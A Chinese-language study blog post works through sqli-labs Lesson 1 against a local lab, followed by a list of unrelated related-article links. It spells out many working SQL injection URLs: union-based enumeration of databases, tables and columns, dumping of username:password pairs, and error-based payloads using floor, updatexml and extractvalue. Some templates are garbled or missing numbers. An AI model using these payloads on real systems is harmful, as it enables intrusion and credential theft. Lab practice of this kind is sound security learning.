0x01字符注入

今天是第一天的学习sqli-labs

Lesson1:字符型注入

首先测试一下 ' 发现报错  然后 ''发现 不报错 这种大概率就是字符注入了

接下来我们进行列查询  查询语句

http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23

发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句

查看当前数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23

查看所有数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23

接下来数据库名称得到以后我们要进行获取表名  操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功

对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

可以看见里面有username password这些关键字 我们就可以爆字段了

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

成功爆出字段usernamepassword字段名   0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

0x02手工报错型注入

既然讲到这里 我们就来讲一下报错类型有些什么?

以下学习来自https://blog.csdn.net/weixin_42277564/article/details/80635586这个大佬

1、通过floor报错

and (select  from (select count(*),concat((payload),floor(rand()*))x from information_schema.tables group by x)a)

注:输出字符长度限制为64个字符

payload填sql语句

2、通过updatexml报错

    and updatexml(,payload,)
and updatexml(,concat(0x7e,@@version,0x7e),)注:输出字符有长度限制,最长32位

3、通过ExtractValue报错

    and extractvalue(, payload)
and extractv注:输出字符有长度限制,最长32位alue(, concat(0x7e,@@version,0x7e))

我们简单的了解了报错型手工注入之后我们来进行实战

先要检查报错类型的payload

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23   ///并未报错
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23 ///报错了

证明确实存在手工报错型注入,

爆表的payload 这里我们运用的是上面的报错的方法的第二种

127.0.0.1/sql1/Less-/?id=' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

可以看见成功爆出表名 接下来我们进行列名的爆破

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23

这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23

接下里就是爆值的操作

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23

同样使用not in显示其他值

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23

sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿

切记 少就是多 快就是慢哦~~

sqli-labs(1)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. SQL Labs刷题补坑记录(less1-less30)

    补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it! 第一部分: LESS1: 直接报错,有回显的注入, http://localhost/s ...

  3. 【NLP】条件随机场知识扩展延伸(五)

    条件随机场知识扩展延伸 作者:白宁超 2016年8月3日19:47:55 [摘要]:条件随机场用于序列标注,数据分割等自然语言处理中,表现出很好的效果.在中文分词.中文人名识别和歧义消解等任务中都有应 ...

  4. 精通Web Analytics 2.0 (10) 第八章:竞争情报分析

    精通Web Analytics 2.0 : 用户中心科学与在线统计艺术 第八章:竞争情报分析 在现实世界中,收集竞争情报可能意味着雇人在竞争对手的垃圾桶(实际会发生!)翻找. 在虚拟世界中,堆如山的数 ...

  5. NoSQL数据库笔谈(转)

    NoSQL数据库笔谈 databases , appdir , node , paper颜开 , v0.2 , 2010.2 序 思想篇 CAP 最终一致性 变体 BASE 其他 I/O的五分钟法则 ...

  6. 关于启用 HTTPS 的一些经验分享(二)

    转载: 关于启用 HTTPS 的一些经验分享(二) 几天前,一位朋友问我:都说推荐用 Qualys SSL Labs 这个工具测试 SSL 安全性,为什么有些安全实力很强的大厂家评分也很低?我认为这个 ...

  7. 深入理解Ember-Data特性(上)

    写在前面 最近比较忙,换了新工作还要学习很多全新的技术栈,并给自己找了很多借口来不去坚持写博客.常常具有讽刺意味的是,更多剩下的时间并没有利用而更多的是白白浪费,也许这就是青春吧,挥霍吧,这不是我想要 ...

  8. 人人都是 DBA(VII)B 树和 B+ 树

    B 树(B-Tree)是为磁盘等辅助存取设备设计的一种平衡查找树,它实现了以 O(log n) 时间复杂度执行查找.顺序读取.插入和删除操作.由于 B 树和 B 树的变种在降低磁盘 I/O 操作次数方 ...

  9. 价值1400美元的CEH(道德黑客)认证培训课程长啥样?(3)工具集

    美元的CEH(道德黑客)认证培训课程长啥样?(3)工具集 这是我收到的CEH官方发来的邮件,参加CEH认证培训原价为1424.25刀,可以给我便宜到1282刀.只有一个感觉,心在流血.站在这价值120 ...

  10. css3中变形与动画(三)

    transform可以实现矩阵变换,transition实现属性的平滑过渡,animation意思是动画,动漫,这个属性才和真正意义的一帧一帧的动画相关.本文就介绍animation属性. anima ...

随机推荐

  1. redis在php中实际应用-list

    1.LPUSH Redis Lpush 命令将一个或多个值插入到列表头部. 如果 key 不存在,一个空列表会被创建并执行 LPUSH 操作. 当 key 存在但不是列表类型时,返回一个错误.(在Re ...

  2. spark教程(三)-RDD认知与创建

    RDD 介绍 spark 最重要的一个概念叫 RDD,Resilient Distributed Dataset,弹性分布式数据集,它是 spark 的最基本的数据(也是计算)抽象. 代码中是一个抽象 ...

  3. float详解

    先上一个简单示例,了解一下float的使用 <html xmlns="http://www.w3.org/1999/xhtml"> <head> <m ...

  4. 08 nginx+uWSGI+django+virtualenv+supervisor发布web服务器

    一.为什么要用nginx,uwsgi? 1 首先nginx 是对外的服务接口,外部浏览器通过url访问nginx, 2nginx 接收到浏览器发送过来的http请求,将包进行解析,分析url,如果是静 ...

  5. 07 Nginx负载均衡

    1.负载均衡的实现. 1.准备三台虚拟机,比如 192.168.119.146 提供资源 192.168.119.147 提供nginx的负载均衡 192.168.119.148 提供资源 2.分别配 ...

  6. SSM处理 No 'Access-Control-Allow-Origin' header is present on the requested resource 问题

    在开发中,前端同事调用后端同事写好的接口,在地址中是有效的,但在项目的ajax中,浏览器会报 "No 'Access-Control-Allow-Origin' header is pres ...

  7. 20、Nginx高可用架构

    1.Keepalived高可用基本概述 1.1.什么是高可用 一般是指2台机器启动着相同的业务系统,当有一台机器down机了, 另外一台服务器能快速的接管, 对于访问的用户是无感知的. 1.2.高可用 ...

  8. 韦东山嵌入式Linux学习笔记03--如何搭建软件环境

    1. 从网上下一个虚拟机,比如vmvare station 2.下一个ubuntu镜像回来安装,  我下了14.04来安装.参考链接:  https://blog.csdn.net/qq1326702 ...

  9. IIS 程序池优化配置方案

    内容目录 IIS 程序池优化配置方案IIS高并发配置一.IIS站点绑定程序池设置二.支持万级并发请求 IIS 程序池优化配置方案 最近由于系统的客户越来越多,有客户反映访问速度变慢,尤其是api的请求 ...

  10. JetBrains IDEA Web开发简单配置

    很早前因为使用了一年的MyEclipse,不想更换其他的IDE工具,是因为各项配置,以及快捷键等.前段时间更换了IDEA工具,初步了解了一些功能,包括快捷,调试,配置,都很优于MyEclipse.但是 ...